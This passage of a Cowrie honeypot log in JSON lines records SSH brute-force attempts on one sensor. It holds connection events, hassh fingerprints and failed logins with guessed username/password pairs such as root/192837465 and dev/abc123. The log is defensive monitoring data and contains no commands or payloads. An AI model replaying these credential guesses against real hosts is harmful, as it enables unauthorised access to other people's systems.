-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:32.440441Z","src_ip":"197.5.145.150","session":"c4cda43eabd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"steamcmd","password":"steam","message":"login attempt [steamcmd/steam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:32.930575Z","src_ip":"197.5.145.150","session":"c4cda43eabd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":48190,"dst_ip":"10.17.0.5","dst_port":22,"session":"a41c6e4ff0cf","protocol":"ssh","message":"New connection: 141.11.88.14:48190 (10.17.0.5:22) [session: a41c6e4ff0cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:34.043744Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:34.049761Z","src_ip":"197.5.145.150","session":"c4cda43eabd4","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:34.495883Z","src_ip":"141.11.88.14","session":"a41c6e4ff0cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:34.499637Z","src_ip":"141.11.88.14","session":"a41c6e4ff0cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"abc123","message":"login attempt [dev/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:35.229763Z","src_ip":"141.11.88.14","session":"a41c6e4ff0cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:36.510397Z","src_ip":"141.11.88.14","session":"a41c6e4ff0cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":24240,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe1d6956ca28","protocol":"ssh","message":"New connection: 141.11.88.14:24240 (10.17.0.5:22) [session: fe1d6956ca28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:40.638685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:40.840001Z","src_ip":"141.11.88.14","session":"fe1d6956ca28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:40.843427Z","src_ip":"141.11.88.14","session":"fe1d6956ca28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"1234","message":"login attempt [sam/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:41.858885Z","src_ip":"141.11.88.14","session":"fe1d6956ca28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:42.968330Z","src_ip":"141.11.88.14","session":"fe1d6956ca28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":24270,"dst_ip":"10.17.0.5","dst_port":22,"session":"696390644dcf","protocol":"ssh","message":"New connection: 141.11.88.14:24270 (10.17.0.5:22) [session: 696390644dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:47.070658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:47.273087Z","src_ip":"141.11.88.14","session":"696390644dcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:47.276651Z","src_ip":"141.11.88.14","session":"696390644dcf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jay","password":"jay","message":"login attempt [jay/jay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:48.089937Z","src_ip":"141.11.88.14","session":"696390644dcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:49.227428Z","src_ip":"141.11.88.14","session":"696390644dcf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":57496,"dst_ip":"10.17.0.5","dst_port":22,"session":"523e273678aa","protocol":"ssh","message":"New connection: 141.11.88.14:57496 (10.17.0.5:22) [session: 523e273678aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:54.129683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:54.146134Z","src_ip":"141.11.88.14","session":"523e273678aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:54.245676Z","src_ip":"141.11.88.14","session":"523e273678aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"192837465","message":"login attempt [root/192837465] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:54.633842Z","src_ip":"141.11.88.14","session":"523e273678aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:55.750111Z","src_ip":"141.11.88.14","session":"523e273678aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.69399309158325,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:52:58.859143Z","src_ip":"94.23.66.112","session":"3a8031de776d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":32190,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe5081dbcd3a","protocol":"ssh","message":"New connection: 141.11.88.14:32190 (10.17.0.5:22) [session: fe5081dbcd3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:01.711824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:01.861588Z","src_ip":"141.11.88.14","session":"fe5081dbcd3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:01.864852Z","src_ip":"141.11.88.14","session":"fe5081dbcd3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"python","password":"123456","message":"login attempt [python/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:02.410625Z","src_ip":"141.11.88.14","session":"fe5081dbcd3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":39772,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbcf536e3fd1","protocol":"ssh","message":"New connection: 103.143.231.24:39772 (10.17.0.5:22) [session: fbcf536e3fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:02.726894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:02.732397Z","src_ip":"103.143.231.24","session":"fbcf536e3fd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:02.804689Z","src_ip":"103.143.231.24","session":"fbcf536e3fd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"client","password":"123456","message":"login attempt [client/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:03.127639Z","src_ip":"103.143.231.24","session":"fbcf536e3fd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:03.569917Z","src_ip":"141.11.88.14","session":"fe5081dbcd3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:04.205418Z","src_ip":"103.143.231.24","session":"fbcf536e3fd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.37.225","src_port":37264,"dst_ip":"159.203.135.109","dst_port":22,"session":"5eb3f22f6322","protocol":"ssh","message":"New connection: 211.253.37.225:37264 (159.203.135.109:22) [session: 5eb3f22f6322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:04.440022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:04.445055Z","src_ip":"211.253.37.225","session":"5eb3f22f6322","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:04.653308Z","src_ip":"211.253.37.225","session":"5eb3f22f6322","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nf","password":"nf123","message":"login attempt [nf/nf123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:05.561716Z","src_ip":"211.253.37.225","session":"5eb3f22f6322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:06.796360Z","src_ip":"211.253.37.225","session":"5eb3f22f6322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":60754,"dst_ip":"10.17.0.5","dst_port":22,"session":"a842de42c08d","protocol":"ssh","message":"New connection: 141.11.88.14:60754 (10.17.0.5:22) [session: a842de42c08d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:09.689252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:09.894904Z","src_ip":"141.11.88.14","session":"a842de42c08d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:09.900462Z","src_ip":"141.11.88.14","session":"a842de42c08d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:10.729539Z","src_ip":"141.11.88.14","session":"a842de42c08d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:53:11.849877Z","src_ip":"141.11.88.14","session":"a842de42c08d","protocol":"ssh"}
